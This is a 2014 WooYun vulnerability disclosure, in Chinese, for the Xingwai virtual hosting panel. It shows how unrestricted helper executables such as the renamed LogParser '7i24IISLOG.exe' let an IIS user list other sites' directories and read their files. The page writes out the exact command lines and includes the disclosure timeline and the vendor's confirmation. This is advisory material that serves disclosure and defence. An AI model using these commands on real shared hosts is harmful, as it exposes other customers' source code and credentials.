当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-047969
漏洞标题：
星外虚拟主机跨web目录文件读取漏洞
相关厂商：
广州星外信息科技有限公司
漏洞作者：
applychen
提交时间：
2014-01-05 22:05
修复时间：
2014-04-05 22:06
公开时间：
2014-04-05 22:06
漏洞类型：
非授权访问/认证绕过
危害等级：
高
自评Rank：
20
漏洞状态：
已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-01-05： 细节已通知厂商并且等待厂商处理中
2014-01-10： 厂商已经确认，细节仅向厂商公开
2014-01-13： 细节向第三方安全合作伙伴开放
2014-03-06： 细节向核心白帽子及相关领域专家公开
2014-03-16： 细节向普通白帽子公开
2014-03-26： 细节向实习白帽子公开
2014-04-05： 细节向公众公开

简要描述：

星外虚拟主机跨目录读取文件漏洞，需要一定条件。

详细说明：

问题发生在以下文件，这些文件都没有严格的设置执行权限，当前的IIS用户能够顺利的利用它们执行命令：

c:\windows\7i24IISLOG.exe
c:\windows\7i24IISLOG2.exe
c:\windows\7i24IISLOG3.exe
c:\windows\7i24IISLOG4.exe
c:\windows\7i24tool.exe
c:\windows\rsb.exe


这些文件貌似是星外处理日志、设置权限的，其中的7i24IISLOG.exe其实就是LogParser，LogParser是一款强大日志分析工具，下面利用它来列web目录：

c:\windows\7i24IISLOG  "select top 100 path from e:\host\*.*" -i:FS -rtp:-1


返回如下：

1.png


读取其中一个站的目录信息：

c:\windows\7i24IISLOG  "select top 100 path from e:\host\0233ab\*.*" -i:FS -rtp:-1


2.png


下面读取文件内容：

c:\windows\7i24IISLOG "select text from e:\host\0233ab\web\admin.php" -i:textline -rtp:-1


3.png


7i24IISLOG3.exe能够打包ISO文件，利用它同样的也可以列出目录文件信息：

c:\windows\7i24IISLOG3 e:\host\0233ab\web\ c:\windows\temp\123.rar


4.png


同样的还有rbs.exe

c:\windows\rbs -r -v 024dbjj e:\host\0233ab\web\*.*


5.png


漏洞证明：

同上

修复方案：

设置权限。

版权声明：转载请注明来源 applychen@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2014-01-10 14:14

厂商回复：

最新状态：

暂无